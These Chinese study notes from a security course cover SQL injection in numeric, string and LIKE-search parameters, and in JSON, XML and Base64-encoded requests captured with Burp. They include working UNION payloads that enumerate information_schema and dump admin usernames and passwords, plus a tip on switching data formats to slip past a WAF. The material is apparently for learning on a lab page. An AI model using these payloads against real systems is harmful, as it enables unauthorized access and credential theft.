第五十四天(SQL注入数据类型参数格式JSONXML编码加密符号闭合复盘报告)
#SQL注入产生原理:
代码中执行的SQL语句存在可控变量导致
#常见SQL注入的利用过程:
1、判断数据库类型
2、判断参数类型及格式
3、判断数据格式及提交
4、判断数据回显及防护
5、获取数据库名,表名,列名
5、获取对应数据及尝试其他利用
#黑盒/白盒如何发现SQL注入
1、盲对所有参数进行测试
2、整合功能点脑补进行测试
白盒参考后期代码审计课程
利用过程:
获取数据库名->表名->列名->数据(一般是关键数据,如管理员)
案例说明:
在应用中,存在参数值为数字,字符时,符号的介入,另外搜索功能通配符的再次介入,另外传输数据可由最基本的对应赋值传递改为更加智能的XML或JSON格式传递,部分保证更安全的情况还会采用编码或加密形式传递数据,给于安全测试过程中更大的挑战和难度。
#数字,字符,搜索
例:
select * from news where id=$id; //数字
select * from news where name='$name'; //这种是字符串
select * from news where name like '%name%'; //这种实现查找功能的,%这个是通配符,和Windows*是一样的,就是搜索时
符号干扰:要考虑接收的参数的类型是什么,有无单引号或双引号及通配符等,有就要对其进行闭合,不然写的攻击语句不会生效
直接让ai写一个带有搜索功能的页面
输入一个1时显示 新闻标题1
判断原始查询结果集的列数,要先对 %’ 进行闭合 ,这里是3列
判断回显位置
查询当前数据库名 union select 1.database(),3
查询当前数据库的所有表名 -1%' union select 1,2 ,group_concat(table_name) from information_schema.tables where table_schema='news_db' #
根据当前书库和表名查询, 表中的字段名
-1%' union select 1,2 ,group_concat(column_name ) from information_schema.columns where table_name='admin' and table_schema='news_db' #
根据表名查询里面的字段名,对应的所有值
流程:
order by 3 判断原始查询结果集的列数
union select 1,2,3 回显位置
union select 1.database(),3 知道数据库名:database() news_db
获取数据库名下的表名信息:
借助自带的information_schema.tables表(记录所有数据库名下的表名)
-1%' union select 1,2 ,group_concat(table_name) from information_schema.tables where table_schema='news_db' #
admin下列名
借助自带的information_schema.columns表(记录所有数据库名下的表名对应的列名信息)
-1%' union select 1,2 ,group_concat(column_name ) from information_schema.columns where table_name='admin' and table_schema='news_db' #
知道表中的字段名后,根据字段名和要查询的表,或去里面的值(数据)
-1%' union select 1,group_concat(username),group_concat(password)from admin #
表结构:
admin
username,password
XML,JSON,编码,混合 等格式
XML
<?xml version="1.0" encoding="UTF-8"?>
<news>
<article>
<id>1</id>
<title>xiaodi</title>
<content>i am xiaodi</content>
<created_at>2025-03-07</created_at>
</article>
<article>
<id>2</id>
<title>xiaodisec</title>
<content>i am xiaodisec</content>
<created_at>2025-03-06</created_at>
</article>
</news>
burp抓包,查看数据格式
修改参数值,参数值在下面修改;后续操作就和上面的一样
JSON:
{
"news:"[
{
"id": 1,
"title": "xiaodi",
"content": "i am xiaodi",
"created_at": "2025-03-07"
},
{
"id": 2,
"title": "xiaodisec",
"content": "i am xiaodisec",
"created_at": "2025-03-06"
}
]
}
开启burp拦截,在页面中搜索框中输入一个值,然后查看burp抓到的数据内容,可以看到提交的格式是json,传的参数值在下面
将数据包转到repeater中,因为这个是搜索框的内容,所以先对 %’ 进行 闭合 ,再写语句, 写完语句之后,写一个# ,将后面的语句注释掉 ;这里是判断列数,三列正常,说明列数是大于等于三的
输入4列时,内容显示不正常,说明是三列
后面的操作都是一样的
如果用json格式发送payload时,被过滤或拦截了(waf),那么可以尝试修改成xml等格式,进行发送,尝试绕过,是否成功主要看对方是否接收这个格式和是否对修改的格式进行过滤等;
也有只接收json格式数据的,当格式不对时,无法正常接收数据,攻击语句也就没用了
Base64: (base64+json)
{
"news": [
{
"id": "MQ==",
"title": "eGlhb2Rp",
"content": "aSBhbSB4aWFvZGk=",
"created_at": "MjAyNS0wMy0wNw=="
},
{
"id": "Mg==",
"title": "eGlhb2Rpc2Vj",
"content": "aSBhbSB4aWFvZGlzZWM=",
"created_at": "MjAyNS0wMy0wNg=="
}
]
}
通过修改参数值,查看哪个数据有变动
修改参数值,可以看到只有keyword 的值在改变,因为这里是已知base64 编码;如果看到的是一些很乱的数据,不符合已知的加密类型或编码格式时,就要去看js数据包中,有没有写加密的算法了(因为在抓包时数据就被加密了,所以加密是在前端就完成了;因为html的算法无法实现加密,所以大部分是在js代码中);发送数据包测试时,要按照它的编码或加密 以及格式去发送,不然对方无法正常处理发送过去的数据,那么就无法知道这里是否存在注入点;所以当数据被加密或编码时,要先找到它的加密方法和编码格式等,然后按照对方接收的格式和将测试数据进行加密后发送,才能顺利进入逻辑,对方才能进行解密和解码
写的时候要注意单引号是否是英文的,还是中文的,不要写错了
判断列
用帽子对数据进行base64 编码后再发送数据进行测试
1、数据传输采用XML或JSON格式传递
2、数据传输采用编码或加密形式传递 ;先看特征,如果符合就先测试看看,如果不行就再找代码查看
3、数据传递采用JSON又采用编码传递
#实例应用:
编码注入案例:
互联网搜下对应说明
实战 || 记一次某项目中奇怪的SQL注入漏洞